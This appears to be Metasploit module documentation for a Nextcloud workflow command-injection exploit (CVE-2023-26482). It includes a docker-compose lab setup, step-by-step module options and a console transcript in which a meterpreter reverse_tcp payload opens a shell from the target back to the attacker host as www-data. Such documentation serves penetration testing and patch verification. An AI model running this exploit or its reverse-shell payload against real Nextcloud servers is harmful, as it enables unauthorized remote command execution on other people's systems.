whotwagner
4.7 KiB
Description
This module exploits a command injection that leads to a remote execution in Nextcloud installations if the app Workflow External Scripts is also installed. The vulnerability affects Nextcloud versions >= 24.0.0, >= 25.0.0, >= 18.0.0, >= 19.0.0, >= 20.0.0, >= 21.0.0, >= 22.0.0, >= 23.0.0, >= 24.0.0, >= 25.0.0
A missing scope validation allowed users to create workflows which are designed to be only available for administrators. In combination with Workflow External Script, this vulnerability leads to authenticated remote command execution.
More about the vulnerability detail: CVE-2023-26482.
The module will automatically use cmd/linux/http/x64/meterpreter/reverse_tcp payload.
The module will check if the target is vulnerable, by adding and removing a dummy-workflow.
Vulnerable Application
Nextcloud is a suite of client-server software for creating and using file hosting services.
This module has been tested successfully on Nextcloud versions:
- Nextcloud version 24.0.5
Source and Installers
Docker Installation
This exploit was tested using a nextcloud docker container and docker-compose with the following docker-compose.yml:
volumes:
nextcloud:
db:
services:
db:
image: mariadb:10.6
restart: always
command: --transaction-isolation=READ-COMMITTED --log-bin=binlog --binlog-format=ROW
volumes:
- db:/var/lib/mysql
environment:
- MARIADB_ROOT_PASSWORD=root
- MARIADB_PASSWORD=root
- MARIADB_DATABASE=nextcloud
- MARIADB_USER=nextcloud
app:
image: nextcloud:24.0.5
restart: always
ports:
- 8080:80
links:
- db
environment:
- MYSQL_PASSWORD=root
- MYSQL_DATABASE=nextcloud
- MYSQL_USER=root
- MYSQL_HOST=db
- NEXTCLOUD_ADMIN_PASSWORD=admin
- NEXTCLOUD_ADMIN_USER=admin
- NEXTCLOUD_TRUSTED_DOMAINS="192.168.233.64:8080"
depends_on:
- db
NOTE: Change the IP-address and port for NEXTCLOUD_TRUSTED_DOMAINS for your setup
After docker compose up -d login as admin and install the workflow app: "Workflow external script" and
create a low privileged user alice. Make sure that you choose "Cron(Recommended)" in the Settings for "Background Jobs".
Before we can run the exploit, we need to start the cronjob. This is crucial because otherwise the
payload doesn't get triggered:
docker exec -it -u www-data nextcloud-app-1 /bin/bash
watch -n2 php cron.php
Wait until you the watch-command outputs something like: "Every 2.0s: php cron.php".
Verification Steps
Example steps in this format (is also in the PR):
- Do:
use exploit/unix/webapp/nextcloud_workflows_rce - Do:
set RHOSTS [ips] - Do:
set LHOST [lhost] - Do:
set RPORT 8080 - Do:
set USERNAME alice - Do:
set PASSWORD alice-password - Do:
run - You should get a shell after a while
Options
TARGETURI
Remote web path to the nextcloud installation (default: /)
USERNAME
The low-privileged username to authenticate to nextcloud
PASSWORD
The password for the low-privileged user
Scenarios
In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is 192.42.1.188.
Nextcloud 24.0.5(docker-compose)
The following demo shows how to use the exploit:
msf6 > use exploit/unix/webapp/nextcloud_workflows_rce
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RHOSTS 192.168.233.64
RHOSTS => 192.168.233.64
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set LHOST 192.168.233.117
LHOST => 192.168.233.117
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RPORT 8080
RPORT => 8080
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set USERNAME alice
USERNAME => alice
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set PASSWORD CaeD4ohchaiv5ieDooBa
PASSWORD => CaeD4ohchaiv5ieDooBa
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > run
[*] Started reverse TCP handler on 192.168.233.117:4444
[*] Sending payload..
[+] Workflow created
[*] Waiting for the payload to connect back ..
[*] Sending stage (3045380 bytes) to 192.168.233.64
[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 192.168.233.64:37090) at 2025-04-10 13:27:49 +0000
[+] Payload connected!
[*] Cleaning up
meterpreter > getuid
Server username: www-data
Limitations
Ensure that your WfsDelay advanced option is set to a value that allows cron to execute the payload. Default is 16 minutes